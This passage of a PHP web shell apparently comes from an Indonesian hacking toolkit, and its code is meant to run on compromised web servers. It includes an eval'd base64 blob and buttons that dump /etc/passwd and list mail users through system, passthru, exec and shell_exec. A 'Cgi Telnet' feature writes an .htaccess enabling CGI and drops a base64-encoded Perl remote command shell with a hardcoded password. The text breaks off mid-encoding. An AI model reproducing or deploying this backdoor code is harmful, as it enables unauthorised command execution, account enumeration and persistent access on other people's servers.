SJojh6n0v0hb6Dul4Khb2t6zmiv8MTEHefUmCYmo8bBug8NMYuHdUv3PovdVN1rhpW5x7PDBRonHVzojm7pUDRpKk+ENUpD3SubRJ4w94ecziCwqAg2VYVPuPkqsQjq5iIYRgmIwvZoGRbkCCmlzDNwDCwumsLufTdyUAwmVyI1529xPdNkjMEMEBxzqCfOsZ8QDPAJxQBNCoNsfnhCta/MTRdH7ZFod6r2Z2NlBlMDSYQ9G0dcBdgaXF8FsKElSQAaTXKFovHIgKMTjFNMbOCKKxQNqy+CFcfFA6ujYO2R+bAiKdg4dWtDGRbCBUlvAXVjMRbOxjlsQCVMGBeU6dqjwYVMMBpHm7Wnw+4qYFyUxQG+XQGjRNQGlnftwdB3LZSMEj6gNVsoGcWFkMothIprf/AP6rc1c4Bx9RpIXHs8sJALBKOoDC3nT8iYYBxwAOu6QzKO0uDqLuC5OGBsF/LEHbDCC1Nwqo3iVUOpF4TFysvqFHwBZ1XJE4SFRz2BYEDl154MKv6CsDiWAJWATkvrKjDgkU1fMb097CrB9g/tUemDZiZG1DVmfuQ5pleuw69wpmmUcOKngXhvwqbS+bxo8pcJJp2DMZZ9yOLUNdNnunM+HjsnnjjfmhhB1ysUI9Q517OIn5tQfb3vJJTfXkU8mDD1z0KOIN5pa9bTsAjxrqHfvK2pdlq+NceuB431/ahmdRFOXFCLQ+caTcRx10Md7Jwjt+W59ZB/pnYcuV/8JuC5c9IsK77THaUBjZpCK18T+9D9Qu/q7hocWQoV9Q23KqrGWp4EL54dMG70rnt7bD2o8dgANMsF/B4EkugCsJBcF1zhZA8Gcrwgv7mHAvJeeygo9QUYAJz92rORaQQoB4b8TwmQBttwAZkwAHefDAP2LtIygKTEsLiIoS0sMYZHNq1lcMBi9SHpMfBgQOBPk3Hg0YDAhaXKwECDwIUlzMAwjsCFpM2g0IhAhSbPsOiIgIWk0NB0YoFMtH3SH0hidZmPE0VSh0eyF3D0+v33t/3uO/AIbrzY0S+Q14Pe1Wz35g5+kzqibKSeLbKKvbj5OOhNvQlx5SGiR+Tx620OLgfv3tVbDmiNCxgEYF9VS4OYGPColq2VemLZh77eDkQeLp6zfU7977uP/X7v7v0VlIyELQ2AAt+wCO4ul17vbwdNCjvrQbr6+FuvzhEB95Q9HI9cz1+2fBuXTLPsvXO9nF5+1aOec5FYlGlSNcn1g7DGb4eE6bo61x3BPkcBWm9epTidrt0hYf7NUyXwV9K0ody4KvGsS8OcV79ef7y5TT+jX8jMr982gbk1J3bCJpLbVcy3MnmMhAUKoA5Ab1YdW5FsDQ3ouaXoAGTfZUMB+WMtGkxZCu7N5ehfcDSQyeHOfandU7nnQ2+/M9dyLLy7Vugbvt0oczcZC7+uC0xr9dWRAFO28OhJvQBFlptpg2Atz9pi3e2ygAnWZbTtHt48JtQPtfxhvZmrahc3FmJw5p3WsNOicSzYqK3P8PJon/pnSUc8MNX27ocRWiZe55xayGLMvJyUXP3JkofvTT7ttHwt7HiGX/GGomsx6d//Aw=='))));
}
elseif($_GET['do'] == 'hashgen') {
$submit = $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4", $pass);
$hash_md5 = md5($salt . $pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt . $pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256", $text);
$hash1_sha1 = sha1($salt . $pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt . $pass)); // sha1 hash with salt & md5 #6
}
echo '<form action="" method="post">';
echo '<center><h3>Hash Generator</h3>';
echo '<table>';
echo 'Masukkan teks yang ingin di encrypt: ';
echo '<input class="inputz" type="text" name="password" size="40">';
echo '<input class="inputzbut" type="submit" name="enter" value="Hash!">';
echo '<br>';
echo 'Original Password: <input class=inputz type=text size=50 value='.$pass.'><br><br>';
echo 'MD5: <input class=inputz type=text size=50 value='.$hash.'><br><br>';
echo 'MD4: <input class=inputz type=text size=50 value='.$md4 .'><br><br>';
echo 'MD5 with Salt: <input class=inputz type=text size=50 value='.$hash_md5.'><br><br>';
echo 'MD5 with Salt & Sha1: <input class=inputz type=text size=50 value='.$hash_md5_double.'><br><br>';
echo 'Sha1: <input class=inputz type=text size=50 value='.$hash1 .'><br><br>';
echo 'Sha256: <input class=inputz type=text size=50 value='.$sha256.'><br><br>';
echo 'Sha1 with Salt: <input class=inputz type=text size=50 value='.$hash1_sha1.'><br><br>';
echo 'Sha1 with Salt & MD5: <input class=inputz type=text size=50 value='.$hash1_sha1_double.'></center></table>';
}
elseif($_GET['bypass'] == 'etcpass') {
	echo '<center>Bypass /etc/passwd With:<br>
<table style="width:50%">
  <tr>
    <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
    <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
    <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>	
    <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>		
    <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
</tr></table>Bypass User With:<table style="width:50%">
<tr>
    <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
    <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
    <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>	
    <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>		
    <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
</tr>
</table><br>';

if ($_POST['awkuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
echo "</textarea><br>";
}
if ($_POST['systuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo system("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['passthuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo passthru("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['exuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo exec("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['shexuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo shell_exec("ls /var/mail");
echo "</textarea><br>";
}
if($_POST['syst'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo system("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['passth'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo passthru("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['ex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo exec("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['shex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo shell_exec("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
echo '<center>';
if($_POST['melex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
for($uid=0;$uid<60000;$uid++){ 
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "
";
}
}
echo"</textarea><br><br>";
}}
elseif($_GET['do'] == 'cgitelnet') {
    echo "<center><h3>Cgi Telnet</h3>";
    echo "<form method='post'><input type='submit' name='cgi' value='CGI PERL'> <input type='submit' name='cgi2' value='CGI PERL 2'> <input type='submit' name='cgipy' value='CGI PYTHON'></form>";
    if(isset($_POST['cgi'])) {
	$cgi_dir = mkdir('kuda_cgi', 0755);
        chdir('kuda_cgi');
	$file_cgi = "cgi.kuda";
        $memeg = ".htaccess";
	$isi_htcgi = "Options Indexes Includes ExecCGI FollowSymLinks
AddType application/x-httpd-cgi .kuda
AddHandler cgi-script .kuda
AddHandler cgi-script .kuda";
	$htcgi = fopen(".htaccess", "w");
	$cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7DQoNCiRQYXNzd29yZCA9ICJrdWRhanVtcGluZyI7DQpzdWIgSXNfV2luKCl7DQoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOw0KCWlmKCRvcyA9fiBtL3dpbi9pKXsNCgkJcmV0dXJuIDE7DQoJfQ0KCWVsc2V7DQoJCXJldHVybiAwOw0KCX0NCn0NCiRXaW5OVCA9ICZJc19XaW4oKTsJCQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVA0KCQkJCQkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENtZFNlcCA9ICImIjsJCQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwMDAwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTUwOw0KJHJvd3M9IDI2Ow0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCg0KCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpDQoJew0KCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCgl9DQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpDQoJew0KCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7DQoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQoJfQ0KDQoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQ0KCWlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQ0KCXsNCgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyANCgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsgDQoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07DQoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsNCgkJJEhlYWRlciA9ICRgOw0KCQkkQm9keSA9ICQnOw0KIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQ0KCQkkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsNCgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyANCgkJJGlueydmJ30gPSAkMTsgDQoJCSRpbnsnZid9ID1+IHMvXCIvL2c7DQoJCSRpbnsnZid9ID1+IHMvXHMvL2c7DQoNCgkJIyBwYXJzZSB0cmFpbGVyDQoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspDQoJCXsgDQoJCQkkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsNCgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsNCgkJCSRrZXkgPSAkMTsNCgkJCSR2YWwgPSAkJzsNCgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9ID0gJHZhbDsgDQoJCX0NCgl9DQoJZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpDQoJew0KCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7DQoJCWZvcmVhY2ggJGkgKDAgLi4gJCNpbikNCgkJew0KCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsNCgkJCSgka2V5LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7DQoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyDQojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VIZWFkZXINCnsNCgkkRW5jb2RlZEN1cnJlbnREaXIgPSAkQ3VycmVudERpcjsNCgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KCW15ICRkaXIgPSRDdXJyZW50RGlyOw0KCSRkaXI9fiBzL1xcL1xcXFwvZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+DQo8dGl0bGU+SGFjc3VnaWE8L3RpdGxlPg0KDQokSHRtbE1ldGFIZWFkZXINCg0KPC9oZWFkPg0KPHN0eWxlPg0KYm9keXsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCn0NCnRyIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KY29sb3I6ICNmZjk5MDA7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCmNvbG9yOiAjMkJBOEVDOw0KZm9udDogMTBwdCBWZXJkYW5hOw0KfQ0KDQp0YWJsZSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7DQp9DQoNCg0KaW5wdXQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KDQppbnB1dC5zdWJtaXQgew0KdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KY29sb3I6ICNGRkZGRkY7DQpib3JkZXItY29sb3I6ICMwMDk5MDA7DQp9DQoNCmNvZGUgew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOw0KY29sb3I6IHdoaWxlOw0KfQ0KDQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsNCmNvbG9yOiAjRkYwMEFBOw0KfQ0KDQp0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCg0KLmxpc3RkaXIgdHI6aG92ZXJ7DQoJYmFja2dyb3VuZDogIzQ0NDsNCn0NCi5saXN0ZGlyIHRyOmhvdmVyIHRkew0KCWJhY2tncm91bmQ6ICM0NDQ7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7DQp9DQoubm90bGluZXsNCgliYWNrZ3JvdW5kOiAjMTExOw0KfQ0KLmxpbmV7DQoJYmFja2dyb3VuZDogIzIyMjsNCn0NCjwvc3R5bGU+DQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQ0Kew0KCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLw0KCXZhciBhamF4PSIiOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPWNobW9kIHR5cGU9dGV4dCBzaXplPTUgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRkaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxlKQ0Kew0KCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOw0KfQ0KZnVuY3Rpb24gcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJdmFyIGFqYXg9IiI7DQoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxcXFxcIik7DQoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJaWYoZj09J2YnKQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kZGlyJmM9ZWRpdCUyMCIrZmlsZSsiJTIwJz4iICtmaWxlKyAiPC9hPiI7DQoJfWVsc2UNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1ndWkmZD0iK2YrIic+WyAiICtmaWxlKyAiIF08L2E+IjsNCgl9DQp9DQo8L3NjcmlwdD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMGMwYzBjIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPg0KPGNlbnRlcj48Y29kZT4NCjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPg0KPHRyPg0KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+DQoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+DQoJPC90ZD4NCg0KCTx0ZD4NCg0KCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4NCgk8L3RkPg0KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9IiNiYjAwMDAiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdX